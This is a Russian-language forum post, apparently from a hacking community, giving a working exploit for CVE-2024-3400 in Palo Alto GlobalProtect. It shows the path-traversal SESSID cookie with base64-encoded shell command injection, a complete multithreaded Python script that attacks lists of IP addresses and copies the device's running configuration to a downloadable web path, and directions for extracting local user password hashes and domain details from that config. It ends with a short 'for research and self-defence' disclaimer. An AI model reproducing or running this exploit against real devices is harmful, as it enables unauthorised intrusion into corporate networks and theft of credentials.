CVE-2024-3400 — уязвимость в Palo Alto GlobalProtect, которая открывает двери в корпоративные сети
Не удалось прогрузить медиа
Приветствую, товарищи по цеху. Сегодня разберем горячую и опасную уязвимость — **CVE-2024-3400**, она же Arbitrary File Creation → OS Command Injection в продукте **Palo Alto GlobalProtect**.
Уязвимость мощная, позволяет получить **удалённое выполнение команд (RCE)** без авторизации. С помощью неё можно:
– создавать файлы в произвольных директориях
– выполнять команды на сервере
– сливать конфиг и пароли
– в итоге – получить полный контроль над системой
Официальное описание уязвимости:
:link: https://security.paloaltonetworks.com/CVE-2024-3400
Уязвимость мощная, позволяет получить **удалённое выполнение команд (RCE)** без авторизации. С помощью неё можно:
– создавать файлы в произвольных директориях
– выполнять команды на сервере
– сливать конфиг и пароли
– в итоге – получить полный контроль над системой
Официальное описание уязвимости:
:link: https://security.paloaltonetworks.com/CVE-2024-3400
---
:brain: Как это работает (в теории)
Сценарий атаки довольно прямолинейный. Злоумышленник создаёт файл в директории, которая отображается через веб, и запихивает в него shell-команду. Всё это происходит через механизм, связанный с телеметрией. Суть в том, что сервер **не фильтрует переменную Cookie как положено**, что позволяет использовать directory traversal и внедрение кода.
Примерная цепочка:
Примерная цепочка:
- Отправляем GET-запрос на проверку наличия файла:
Ожидаем 404 Not Found.Code:GET /global-protect/portal/images/{{randstr}}.txt - Далее идёт POST-запрос, который **создаёт файл с вредоносной сессией**:
Code:POST /ssl-vpn/hipreport.esp Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt; - Повторяем GET-запрос, и если видим 403 Forbidden, значит файл создан — сервер уязвим.
---
🛠 Практика: Проверка через Nuclei
Для быстрой проверки можно использовать готовый шаблон от nuclei:
Code:
nuclei -t CVE-2024-3400.yaml -u https://ip.target -no-httpx
---
:mag: Анализ запроса через Burp Suite
С помощью Burp Suite можно вручную повторить атаку и посмотреть всё по шагам:
1. Открываем прокси
2. Переходим по адресу `https://target/ssl-vpn/hipreport.esp`
3. Захватываем запрос и редактируем Cookie, как показано ниже:
1. Открываем прокси
2. Переходим по адресу `https://target/ssl-vpn/hipreport.esp`
3. Захватываем запрос и редактируем Cookie, как показано ниже:
Code:
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
---
:bomb: Эксплуатация: Сливаем конфиг без бэкдоров
Можно без metasploit и обратных шеллов. Просто копируем конфиг в веб-доступную директорию и скачиваем его:
cmd = f"cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/portal/css/cert.main.css"Команда шифруется в base64 и отправляется в Cookie:
"Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",После успешного выполнения конфиг доступен по URL:
Code:
https://target/global-protect/portal/css/cert.main.css
---
:scroll: Полный эксплоит (Python)
Эксплоит массово проверяет список IP-адресов на уязвимость, отправляет команду на копирование конфига и проверяет результат:
Python:
import argparse
import base64
import random
import requests
import string
import time
import urllib3
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
from rich.console import Console
from rich.style import Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
green = Style(color="green")
yellow = Style(color="yellow")
red = Style(color="red")
console = Console(highlight=False)
base_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Content-Type": "application/x-www-form-urlencoded",
}
console = Console()
target_queue = Queue()
def create_random_string(length):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def send_request(url):
console.print(f"[yellow][-][/yellow] <{url}>")
try:
filename = create_random_string(10)
cmd = f"cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/portal/css/cert.main.css"
base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")
headers = {
**base_headers,
"Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",
}
resp = requests.post(url=f"{url}/ssl-vpn/hipreport.esp", headers=headers, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
target_queue.put(f"{url}/global-protect/portal/css/cert.main.css\n")
else:
console.print(f"[red][!][/red] <{url}> {resp.status_code}")
except Exception as e:
console.print(f"[red][!][/red] <{url}> Exception: {str(e)}")
return False
def check_findings(url):
console.print(f"[yellow][-][/yellow] Checking {url}...")
try:
resp = requests.get(url=url, headers=base_headers, verify=False, allow_redirects=False, timeout=10)
if resp.status_code == 200:
console.print(f"[green][+][/green] Detected RCE: {url}")
target_queue.put(f"{url}\n")
# else:
# console.print(f"[red][!][/red] <{url}> {resp.status_code}")
except Exception as e:
# console.print(f"[red][!][/red] <{url}> Exception: {str(e)}")
return False
def flush_queue(q, q_name):
with open(f"{q_name}.log",'a') as f:
while q.qsize():
f.write(q.get())
def get_targets(filename):
with open(filename) as f:
targets = f.readlines()
return [t.strip() for t in targets]
def main():
parser = argparse.ArgumentParser(description="CVE-2024-3400 RCE check")
parser.add_argument("-f", "--file", type=str, help="target urls to check, eg: urls.txt", required=True)
parser.add_argument("-t", "--threads", type=int, default=100, help="threads to scan", required=False)
args = parser.parse_args()
targets = list(set([f"https://{t.replace('http://', '').replace('https://','').strip()}" for t in get_targets(args.file)]))
console.print(targets[:10])
console.print(f"[yellow][-][/yellow] Sending {len(targets)} requests...")
with ThreadPoolExecutor(max_workers=args.threads) as pool:
pool.map(send_request, targets)
console.print(f"[green][+][/green] Requests sent. Writing check file...")
flush_queue(target_queue, "maybe_rce")
targets = get_targets("maybe_rce.log")
MAX_RETRIES = 12
RETRY_INTERVAL = 300
retries = 0
while retries <= MAX_RETRIES:
flush_queue(target_queue, "confirmed_rce")
targets = list(set(targets) - set(get_targets("confirmed_rce.log")))
console.print(f"[yellow][-][/yellow] Polling {len(targets)}...")
with ThreadPoolExecutor(max_workers=args.threads) as pool:
pool.map(check_findings, targets)
console.print(f"[yellow][-][/yellow] Sleeping...")
time.sleep(RETRY_INTERVAL)
retries += 1
flush_queue(target_queue, "confirmed_rce")
if __name__ == "__main__":
main()
---
:file_folder: Работа с конфигом
Когда слили конфиг, сохраняем его как `something.xml` и открываем в любом редакторе.
Ищем раздел:
Ищем раздел:
Code:
<local-user-database>
Там находятся локальные юзеры и их хэши. Большинство — это sha256crypt, реже md5crypt.
Также ищем:
- disable=yes — юзер выключен
- disable=no — юзер активен
Иногда можно найти домен внутри тега:
Также ищем:
- disable=yes — юзер выключен
- disable=no — юзер активен
Иногда можно найти домен внутри тега:
Code:
</authentication-profile>
---
:package: Что нужно для старта:
- Шаблон nuclei `CVE-2024-3400.yaml`
- Файл с IP (например `1.txt`)
- Скрипт `exploit.py`
- Python-зависимости: `requests`, `rich`
Code:
python3 exploit.py -f 1.txt -t 10
---
Надеюсь, вам было интересно. Оставляйте вопросы, делитесь результатами, и не забывайте — **эти знания даны во имя исследований и самозащиты**, а не для вреда.
Всем добра и безопасных тестов :)
Всем добра и безопасных тестов :)
👍27
👏6
😢6
LIMB